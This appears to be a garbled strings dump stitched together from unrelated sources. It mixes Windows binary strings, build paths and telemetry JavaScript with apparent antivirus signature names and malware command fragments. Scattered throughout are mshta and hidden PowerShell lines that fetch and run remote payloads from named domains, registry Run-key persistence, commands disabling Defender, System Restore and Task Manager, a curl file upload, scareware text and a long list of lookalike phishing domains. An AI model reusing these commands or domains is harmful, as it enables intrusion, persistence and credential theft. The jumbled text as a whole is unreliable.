wow64_microsoft-windows-w..adapter-wmitomi-dll_31bf3856ad364e35_none_b9fa16686106a78a
wow64_microsoft-windows-w..aker7-mswb7-english_31bf3856ad364e35_none_b7a54363961d8ed0
wow64_microsoft-windows-w..ar-wizard.resources_31bf3856ad364e35_en-us_b7f6d71b0c5517a5
wow64_microsoft-windows-w..ation-mof.resources_31bf3856ad364e35_en-us_47ce4b054d0079b01
wow64_microsoft-windows-w..ationservice-netapi_31bf3856ad364e35_none_fd0a5deb0be7745f
wow64_microsoft-windows-w..cationcompatibility_31bf3856ad364e35_none_bb3409a0423f8558
Windows.ApplicationModel.DataTransfer.dll
globalDynamicTipTestHealthTestInProductionWindowsUdkapplyctor
globalDiagnosticsFoundationLoggingOptionsWindowsapplyctor
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
0C:\Windows\SystemApps
Windows gets booted. More than 90% of PC issuesAuto Adjust completed.Warning! Your computer is at risk!Trojan activity detected. System data security is at risk.=
 Welcome to Windows
Get Started Welcome to Windows
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
!#HSTR:WindowsFile_CMD_EXE
Windows.UI.Core.CoreWindow
:\windows\system32\wbem\wmic.exeosget
:\\windows\\system32\\wbem\\wmic.exeosget
/c %windir%\system32\slmgr.vbs -ipk
Windows.ApplicationModel.DataTransfer.pdb
Microsoft.Windows.DataPackage
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.AppModel.Clipboard
Microsoft.Windows.TlgAggregateInternal
winlogon
TpmCore::CertGetWindowsAik
'c:\windows\system32\cmd.exe/cpowershell-cset-alias
Microsoft.Windows.Shell.SystemSettings.SettingsAppActivity
Microsoft.Windows.Shell.CommandSearchHardwareRequirements
Microsoft.Windows.Shell.HardwareRequirements
Microsoft.Windows.Wil.FeatureLogging
c:\windows\system32\
Windows.Data.Settings.SettingsRanking
Windows.Data.Settings.SettingPageUsage
Windows.Data.Settings.SettingsUsageHistory
powershell -executionpolicy bypass -noprofile -windowstyle hidden -noexit -commandp
windows_firewall_servicew
CheckboxWindows.dll
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
Microsoft.Windows.Widgets
C:\__w\1\s\src\x64\Release\Microsoft.Windows.Widgets\Microsoft.Windows.Widgets.pdb
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsDeleteStringBuffer
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\Microsoft.Windows.Wil.Internal.0.3.38\inc\wil\opensource\wil\resource.h
Microsoft.Windows.GroupPolicy.GPSVC
Microsoft.Windows.GPTraceProvider
Microsoft.Windows.GroupPolicy.CSEs
Microsoft.Windows.GroupPolicy.RegistryCSE
Microsoft.Windows.Security.AppIdLogger
Microsoft.Windows.Security.CertEnroll
GetWindowsDirectoryW failed.
onecore\windows\directx\database\helperlibrary\lib\module.cpp
onecore\windows\directx\database\helperlibrary\lib\perappusersettingsqueryimpl.cpp
onecore\windows\directx\database\helperlibrary\lib\directxdatabaseregistryhelpers.cpp
onecore\windows\directx\database\helperlibrary\lib\directxdatabasequeryimpl.cpp
onecore\windows\directx\database\helperlibrary\lib\directxdatabasehelper.cpp
GetWindowsDirectoryW
pdatePageIG(n)},"instrumentRenderingStarted")}static instrumentFlightAssignment(n,i){t._keystrokesFlightAssignment[n]=i}static instrumentQueryChangedRequest(i,r){var f;delete t._keystrokesInstrumentationData[i-1];n.InstrumentedItem.resetKValues(i);let c=t._keystrokesPerfPingData[i];c&&n.LogWSBError("instrumentQueryChangedRequest","sequenceNumber: "+i,new Error("Duplicate BeginRequest for sequenceNumber"),undefined,undefined,"WindowsTelemetry");let e=n.Host.getConversationId(),u=n.Host.getRawImpressionGuid(),s=n.cleanGuid(u),o=n.getCurrentTime(),l={RawImpressionGuid:u,ImpressionGuid:s,ConversationId:e,Query:r,PendingDataSources:{},DataSources:{},RankerExtraInfo:{},DuplicateDS:{},Layout:[],MasterPageImpressionCreated:!1,RenderingStarted:!1,PendingInstrumentedItems:{},PendingSyntheticSuggestions:{},OriginalTimestamp:o},h={RawImpressionGuid:u,ImpressionGuid:s,ConversationId:e,PrefixLength:r.queryToFetch?r.queryToFetch.length:0,SearchHomeRenderEvent:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE,ClientShownEvent:t.getOffsettedNow(t._clientShownTimestamp),RequestBegin:t.getOffsettedNow(o),ResponseReceived:{},MultipleResponsesReceived:{},DataSourcesState:t._searchServiceStatus?{Indexer:t._searchServiceStatus}:undefined,RenderFinished:{},renderGroupFinished:{},AllRenderFinished:0,AllDataSourcesProcessed:!1,PendingIcons:0,PreviewPanePendingInfo:undefined,TopResultRendered:[],ResponseFromCache:{},DataSourcesFetchBegin:0,DataSourcesFetchEnd:0,ResponseParsed:{},PreviewPaneOpened:{},PreviewPaneCanceled:{},PageLoadTime:0,SearchHomeLoadTime:0,FirstRenderTime:0,MultipleResponsesParsed:{},ConversationStart:n.config.perfInstV2?t._conversationStartTimestamp:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE,SequenceStart:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE,DataProviderFetchStart:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE,DataProviderFetchFinish:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE,DataProvidersStarted:{},DataProvidersFinished:{},RendersCompleted:{},RendersColdRank:{},PreviewPaneStart:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE,PreviewPaneFinish:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE,AnaheimDataIndexCount:{},MRUDataTelemetry:{},MRUFilesAndFoldersDefinedCount:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE,MRUFilesAndFoldersUndefinedCount:n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE,ImageGridInfo:undefined,NumberOfResponse:n.config.enableNoRLog?{}:undefined,ProviderFirstSuggestion:n.config.logProviderFirstSuggestion?{}:undefined};t._keystrokesInstrumentationData[i]=l;t._keystrokesPerfPingData[i]=h;t._currentRender=0;n.config.perfInstV2&&t._keyDownTimeStamp!=n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE&&(t.safeInstrumentPerf(i,n=>{n.SequenceStart=t._keyDownTimeStamp-t._conversationStartTimestamp},"instrumentKeyDown",null),t._keyDownTimeStamp=n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE);t._clientTelemetry&&t._clientTelemetry.logNewKeystrokeMeasure(e,u,r);t.updatePageIG(i);t.fireKeystrokeTimelineUpdatedHandlers(h);(n.config.enableMRUFilesAndFoldersTelemetry||n.config.disableMRUFilesAndFoldersWildCards)&&(n.Host.setMRUFilesAndFoldersDefinedCount(0),n.Host.setMRUFilesAndFoldersUndefinedCount(0));n.Host.getLogUserActivityDataEnabled()&&((f=t._userActivityManager)===null||f===void 0?void 0:f.updateUserActivityDataWhenQueryChanged(u,r,o))}static setSearchServiceStatus(n){t._searchServiceStatus=n}static instrumentResponseReceived(i,r,u,f,e,o){t.safeInstrumentPerf(i,i=>{if(!e){let u=t.getOffsettedNow();typeof i.ResponseReceived[r]!="number"?(i.ResponseReceived[r]=u,n.config.useWhereId&&r=="IFF"):(i.MultipleResponsesReceived[r]||(i.MultipleResponsesReceived[r]=[i.ResponseReceived[r]]),i.MultipleResponsesReceived[r].push(u))}u&&(i.DataSourcesState=i.DataSourcesState||{},i.DataSourcesState[r]=u);f&&(i.ResponseFromCache[r]=f)},"instrumentResponseReceived",r);n.config.perfInstV2&&t.safeInstrumentPerf(i,n=>{o||(n.DataProvidersFinished[r]=t.getOffsettedNow(),n.DataProviderFetchFinish<n.DataProvidersFinished[r]&&(n.DataProviderFetchFinish=n.DataProvidersFinished[r])),u&&(n.DataS 
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result_macros.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.UI.Composition.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.ApplicationModel.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Composition.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.ApplicationModel.AppService.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.ApplicationModel.Background.h
pen settings|handwriting settings|ink settings|windows ink settings|6
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap="http://schemas.microsoft.com/appx/manifest/uap/windows10"
           xmlns:uap2="http://schemas.microsoft.com/appx/manifest/uap/windows10/2"
           xmlns:uap3="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns:uap5="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"
           xmlns:uap7="http://schemas.microsoft.com/appx/manifest/uap/windows10/7"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
ComSpec=C:\WINDOWS\system32\cmd.exe
(Brundll32.exec:\windows\debug\ok.dat,servicemainaaaav
CloseWindowStation
CreateWindowStationW
GetProcessWindowStation
SetProcessWindowStation
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
?zc:\windowsS
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
WindowsApps.R
\windows
windowsZones
, ",")Open "c:\\ProgramData\\digitsmax.e" & "xe"= oShell.RegRead(sRegKey)= "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber"`
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\windows.services.store.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Foundation.Collections.h
W..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Foundation.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\base.h
'Microsoft Windows Code Signing PCA 2024
powershell-cstart-processpowershell-verbrunas-args'-noprofile-noexit-windowstylehidden-command"$
Windows.Data.Input.Text.SpellerDictionary
windows\system32\rundll32
OS=Windows_NT
DriverData=C:\Windows\System32\Drivers\DriverData
s\system32
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
"http://2i.wf:8080/bnycfmfvewp/xyk91vmhn7mytlbw/tvc/%computername%"jk=z^w^z^p^l^pj/q^n!%systemroot%\system32\shell32.dll
"http://m0.nu:8080/yzav44sb/awballl0jwynxt/q/jwqg/%computername%"o^bg=czgq^iz^o^w^n-^q!%systemroot%\system32\shell32.dll
"http://2t.pm:8080/arbgvy3/svrnue1viofv6hx/6v9ys/!computername!"/q^ncu^n^i=x^a^e^v^jrm!%systemroot%\system32\shell32.dll
powershell-executionpolicybypass-windowstylehidden-command
c:\windows\system32\mshta.exe%windir%\system32\+http://a0701919.xsph.ru/head/selling.xml/f%windir%\system32\shell32.dll
Pc:\windows\system32\mshta.exe%windir%\system32\https://lepusi.site/send.rtf%systemroot%\system32\wmploc.dll%systemroot%
\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://armanayegh.com//readme/glued.hta'
GetWindowsDirectoryW
Current overwrite policy the Windows NT/Windows 2000 Event Log service employs for this log file. The possible values of the property are: 
windows-mani
o= environ(rrrrr) & xxxxxxxxxxshellndirobj as shell32.shellbypass -windowstyle hidden -fileshellobj.shellexecute eefs.createtextfile(ptg1 = "gnmmbnfhhfgfgggg===string(1, x6) + "." + string(1, x7)
%.dll',$path);&'c:\windows\system32\rundll32.exe'$path',dllregisterserver'
c:\windows\notepad.exe
reg add "hkcu\software\microsoft\windows\currentversion\run" /v "microsoft update" /t reg_sz /f /d "schtasks /run /tnr
0Y3&http://liveswindows.casa/opzi0n1.dll0C:\yEoipTg\fvzCtTi\IbWLqzB.dllTrojanDownloader:O97M/Lokibot.NA!MTB
Y\Microsoft\Windows\SystemRestore\SR" /disable\
globalnewsweekly.comus-mg7mail-transferservice.comsetnewpass-yahoo.commilitaryexponews.comevrosatory.comlink-google.comgoogleclient.comus-mg6-transfermail-service.commyaccount.googlesetting.comosce-oscc.orggoogle-settings.commilitaryinf.comyandex-site.comus-westmail-undeliversystem.comgooglesetting.comacademl.comyahoo-acc-support.comupdate-zimbra.comsupport-acc-hotmail.comnatoexhibitionff14.comdelivery-yahoo.comworld-oil-company.comtolonevvs.comenisa-europa.orgwestinqhousenuclear.comya-support.comupdatecenter.namesupport-acc-gmail.comt-acc-online.combostondyn.comtusexpo2015.commalwarecheck.infoprivacy-yahoo.comyahoo-acc-service.comwebmail-saic.comgmail-support-plus.comyahoo.chmail.inredirect.googlesetting.comrelease-updates.comenisa-europa.comaccount.googlesetting.comsecurity.googlesetting.comaccounts.googlesetting.comevronaval.compoliticalreview.eusupport-acc-web.comlogin-osce.orggmail-services.comassaas.orgmilitaryobserver.netnshq.inus-mg6mailyahoo.comtest.chmail.inus-mg6mail-service.comchangepassword-yahoo.comgmail-acc-service.comgmail-acc-support.comsupport-acc-yahoo.comamtxy.commicrosoftdriver.comcajalibertad.netrapidleechcdn.comsoft-storage.comdailyforeignnews.comfarnboroughair2014.comitec2014.co.ukreadcbn.comnatopress.orgausxxl.comdefencereview.eulivemicrosoft.netwindows.softupdates.infotubeloc.comwindowsupdater.netmobile.softupdates.infosettings-live.comnato-press.orgaowiejf.comurl.googlesetting.commiddle-eastreview.comproduct-update.comsoftupdates.infonato-hq.comhujutrust.comeurosatory-2014.comdefenceadviser.orgsoftware-update.orgarmypress.orgadhostingcache.comsettings-yahoo.comabtcd.comasus-service.netbaikaltrading.combrnlv-gv.eupoliceoracle.orgbagacamesmo.bizmilitaryadviser.orgmailtransition.comintelnetservice.comtechcruncln.commail-pims.orgmediarea.orgbulletin-center.comiacr-tcc.orgmail-google.infotrasitionmail.commyusufruct.comwindowsappstore.netazureon-line.comworldpoliticsnews.orglukasgruenberger.comnatopress.comforeign-review.comnewsdailyworld.commail.windows-updater.comwebmail.windows-updater.comwindowupdatesearch.comzerocashtalk.orgflashsecurity.orgneodice.comnetassistcache.comkwqx.usmfapress.orgnews.softupdates.infonato-info.comcontenthosts.netnato-press.commediacloudsolution.commac.softupdates.infowindowsearchcache.comcryptoplans.commfapress.comosce-military.orgdailypoliticsnews.comappleupdate.orgikbenzo.comqov.hu.comcheckmalware.orgintelisearch-inc.comeurasiaglobalnews.commyaccounts.googlesetting.comproducts.softupdates.infoqov.hujihadfire.comal7ruae2014.comeuropeanda.comeurosatory2014.comlinux.softupdates.infoyovtube.coupdate-hub.comsofexjordan2014.comworldmilitarynews.orgadobearmsvc.commiddle-easterview.comchangepassword-hotmail.commfa-gov.infogpwpl.comzerocashwiki.orgwinsyscheck.comforeignreview.comdefencereview.netescrowlogica.comadvpdxapi.comchaukilos.comintelsupport.netaadexpo2014.co.zallamadas-whatsapp.comnato-int.comwindows-updater.comthunderminer.comkg-news.orgmiddle-eastreview.orgmscoresvw.comuz-news.orgnatoint.comdiplomat
c:\windows\a
WINDOWS11
WINDOWS11
WINDOWS11
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
WindowsFontQuality
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
NtUserLockWindowStation
NtUserOpenWindowStation
uecho---disable"windowsdefenderfirewallauthorizationdriver"service
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
System.Windows.Forms.ISupportOleDropSource.OnGiveFeedback
EnableThreadWindowsCallback
DisableThreadWindowsCallback
EnumThreadWindowsCallback
WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)"  --enable-features=msEdgeFluentOverlayScrollbar
aps.prod.windows.com0>
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Trojan:PowerShell/WinlogonUserinit.A!ams
SCRIPT:PS.WinlogonUserinit
.?AU?$__abi_FunctorCapture@V<lambda_eca6502de176d38d8904d6b4c4eaa587>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_dfa33b93047b58ac1d6292600c2590ef>@@XPE$AAU?$IAsyncOperation@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
:\windows\system32\cmd.exe",@startupdir&"\"&$urjwqxfvhrrezc&".lnk","","/k
\windows\system32\windowspowershell\v1.0\powershell.exec:\-c"
)}"shell32.dll%systemroot%\system32\windowspowershell\v1.0\powershell.exe%systemroot%\system32\windowspowershell\v1.0\powershell.exe
E\windows\system32\conhost.exe--headlesspowershell-c$io=$([char](226-121));set-aliasaset-alias;af$io'wr';anp$io'ex';;np(f-usebasicparsing'djue.fun/k')
Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe
.Windows}
turn WindowsUdk.System.Profile.
Microsoft.Windows.SemanticSearch.QueryParameters
Microsoft.Windows.SemanticSearch.Tokenizer5
Microsoft.Windows.Widgets.Feeds.Provider
3c:\windows\setup\searchiframe.exe
c:\windows\setup\backupreport
software\microsoft\windows nt\currentversion\winlogon
software\microsoft\windows\currentversion\run
software\policies\microsoft\windows defender
software\policies\microsoft\windows nt\systemrestores
software\policies\microsoft\windows defender\real-time protection
clientcore\windows\dwm\udwm\solidrectanglevisual.cpp
clientcore\windows\dwm\udwm\storyboard.cpp
clientcore\windows\dwm\udwm\thumbnailtransition.cpp
clientcore\windows\dwm\udwm\transitions.animatedtransitionvisualwrapper.cpp
clientcore\windows\dwm\udwm\transitions.screenrotationtransition.cpp
windows
windows
windows
windows
windows
windows
windowsY
windows
windows
OS=Windows_NT
:\windows\microsoft.net\framework64\
:\programdata\microsoft\windows defender\platform\
:\windows\installer\{
Lua:Context/FileInSubStrPath.A!windowsinstaller
getFrameWindowSuccessful
WindowsTipPresentActivity
shellcommon\shell\fileexplorer\windows.fileexplorer.common\src\perfolderrootpropertyprovider.cpp
SLGetWindowsInformationDWORD
C:\Windows\Media\Alarm00.wav
Microsoft.Windows.Security.BCrypt.Config
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Clfs.Telemetry
UpdaterUtil::CheckForWindowsWorkloadPackages
UpdaterUtil::IsManualUpdateForWindowsUser
UpdaterUtil::IsManualUpdateForAnyWindowsUser
?staticMetaObject@QWindowsPipeReader@@2UQMetaObject@@B
?staticMetaObject@QWindowsPipeWriter@@2UQMetaObject@@B
?stop@QWindowsPipeReader@@QEAAXXZ
?stop@QWindowsPipeWriter@@QEAAXXZ
SetWindowsHookExW
UnhookWindowsHookEx
?Windows7@QOperatingSystemVersion@@2V1@B
?Windows10@QOperatingSystemVersion@@2V1@B
?processActivatedEvent@QGuiApplicationPrivate@@SAXPEAVActivatedWindowEvent@QWindowSystemInterfacePrivate@@@Z
?processApplicationTermination@QGuiApplicationPrivate@@SAXPEAVWindowSystemEvent@QWindowSystemInterfacePrivate@@@Z
?processCloseEvent@QGuiApplicationPrivate@@SAXPEAVCloseEvent@QWindowSystemInterfacePrivate@@@Z
?processContextMenuEvent@QGuiApplicationPrivate@@SAXPEAVContextMenuEvent@QWindowSystemInterfacePrivate@@@Z
?processEnterEvent@QGuiApplicationPrivate@@SAXPEAVEnterEvent@QWindowSystemInterfacePrivate@@@Z
?processExposeEvent@QGuiApplicationPrivate@@SAXPEAVExposeEvent@QWindowSystemInterfacePrivate@@@Z
?processFileOpenEvent@QGuiApplicationPrivate@@SAXPEAVFileOpenEvent@QWindowSystemInterfacePrivate@@@Z
?processGeometryChangeEvent@QGuiApplicationPrivate@@SAXPEAVGeometryChangeEvent@QWindowSystemInterfacePrivate@@@Z
?processGestureEvent@QGuiApplicationPrivate@@SAXPEAVGestureEvent@QWindowSystemInterfacePrivate@@@Z
?processKeyEvent@QGuiApplicationPrivate@@SAXPEAVKeyEvent@QWindowSystemInterfacePrivate@@@Z
?processLeaveEvent@QGuiApplicationPrivate@@SAXPEAVLeaveEvent@QWindowSystemInterfacePrivate@@@Z
?processMouseEvent@QGuiApplicationPrivate@@SAXPEAVMouseEvent@QWindowSystemInterfacePrivate@@@Z
?processPlatformPanelEvent@QGuiApplicationPrivate@@SAXPEAVPlatformPanelEvent@QWindowSystemInterfacePrivate@@@Z
?processSafeAreaMarginsChangedEvent@QGuiApplicationPrivate@@SAXPEAVSafeAreaMarginsChangedEvent@QWindowSystemInterfacePrivate@@@Z
?processScreenGeometryChange@QGuiApplicationPrivate@@SAXPEAVScreenGeometryEvent@QWindowSystemInterfacePrivate@@@Z
?processScreenLogicalDotsPerInchChange@QGuiApplicationPrivate@@SAXPEAVScreenLogicalDotsPerInchEvent@QWindowSystemInterfacePrivate@@@Z
?processScreenOrientationChange@QGuiApplicationPrivate@@SAXPEAVScreenOrientationEvent@QWindowSystemInterfacePrivate@@@Z
?processScreenRefreshRateChange@QGuiApplicationPrivate@@SAXPEAVScreenRefreshRateEvent@QWindowSystemInterfacePrivate@@@Z
?processTabletEnterProximityEvent@QGuiApplicationPrivate@@SAXPEAVTabletEnterProximityEvent@QWindowSystemInterfacePrivate@@@Z
?processTabletEvent@QGuiApplicationPrivate@@SAXPEAVTabletEvent@QWindowSystemInterfacePrivate@@@Z
?processTabletLeaveProximityEvent@QGuiApplicationPrivate@@SAXPEAVTabletLeaveProximityEvent@QWindowSystemInterfacePrivate@@@Z
?processThemeChanged@QGuiApplicationPrivate@@SAXPEAVThemeChangeEvent@QWindowSystemInterfacePrivate@@@Z
?processTouchEvent@QGuiApplicationPrivate@@SAXPEAVTouchEvent@QWindowSystemInt
EnumWindows
D:\a\_work\1\s\node_modules\react-native-windows\Microsoft.ReactNative\Utils\ImageUtils.cpp
?metaObject@QWindowsPipeReader@@UEBAPEBUQMetaObject@@XZ
?metaObject@QWindowsPipeWriter@@UEBAPEBUQMetaObject@@XZ
Microsoft.Windows.AccelLib
Microsoft.Windows.FileSystem.FltPerf
Microsoft.Windows.FileSystem.FltMgr
Microsoft.Windows.TlgAggregateInternal
c:\windows\system32
s\system32..\
\Device\HarddiskVolume3\Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf
EstimateReconstructWindowsDiskNeeds
EstimateReconstructWindowsRAMNeeds
ReconstructWindowsEx
ReconstructWindowsEx2
gHOsystem32\mshta.exehttp://joint.jug.goolati.ru/juicy.html/f
]gwindowspP
=windowsapps\wH
BummC:\WINDOWS\SYSTEM32\PRESENTATIONCFFRASTERIZERNATIVE_V030
WindowsFormsApplication.+\
c:\Windows\System32\
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
$$windows.data.platform.partitioning.systempartitionindex
$$windows.data.platform.partitioning.activepartitionsm.P
J	DWindows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata&
WindowsCopilot
9\windows\currentversion\policies\system"/vdisabletaskmgr/treg_dword/d1/ff
windows.protocol
WindowsFligh
A simple windows forms text editor written in C#A
http://liveswindows.cyou/opzi0n1.dllC:\GQlylYz\VUwevhl\WGnqLnr.dllRansom:MSIL/FileCryptor.PA!MTB
WindowsFormsAppW
:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup:
:\windows 
\system32\smartscreen.exe
c:\windows\system32\cmd/c"set
\windows\system32\cmd/c"set
winlogon
:\users\emre\desktop\downloader\windowsformsapplication
.+:\\Users\\Emre\\Desktop\\Downloader\\WindowsFormsApplication.+\\.+\\AdobeUpdater.pdb
WindowsTerminalA
MicrosoftWindows.Client8
xyewy!Global.WindowsPersonaCardE
#crosoft.WindowsNotepad_8wekyb3d8bbwe!App3
(\Microsoft\WindowsApps
_windows
get_Windows
set_Windows
OnWindowsClearing
Windows
ModifyWindowSpace
AllocateWindowSpace
tadvertisementthatinjectsadwaretoyourbrowsermicrosoftwindowshaveincreasedby
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
curl -F "image=@\Microsoft\Windows\.winSession
system32\dri
ENUR\NOISREVTNERRUC\SWODNIW\TFOSORCIM\ERAWTFOSVeryImportantWindowsFile
WinlogonLogoffEvent
System.Windows.Forms.Layout
ll.exe -windowstyle hidden -execu
?.exe -executionpolicy bypass -noprofile -windowstyle hidden:Create('http
C:\WINDOWS\SYSTEM32\
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
API/WindowsCorta0
WindowsUpdateConf.lnkl
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Management.Core.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\stl.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\filesystem.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\registry_helpers.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\registry.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.ApplicationModel.h
C:\__w\1\s\Src\SrcPkg\WebLinkStorage\WindowsSearchHelpers.h
FC:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Globalization.DateTimeFormatting.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.ApplicationModel.Resources.h
.xls")windows("inv 
\windowsdefender\features"/v"tw
roaming\microsoft\windows\start menu\program
c:\windows\temp\hook.exe>c:\windows\temp\log.txt
WINDOWS11
E\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
E\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
`diskVolume3\Windows\System32\en-US\Windows.Security.Authentication.Web.Core.dll.mui
Microsoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
:\windows\
 MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!A
 MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!A
9MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtension
C:\windows\exp
C:\windows\
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RansomtoadS
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Resource.h
IFsoftware\microsoft\windows\currentversion\run")
exec_windows.
kchcp65001setlocalenableextensionssetname=%systemdrive%\users\%username%\appdata\roaming\microsoft\windows\startmenu\programs\startup\
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Xaml.Media.Imaging.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.ApplicationModel.Resources.Core.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Globalization.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.System.UserProfile.h
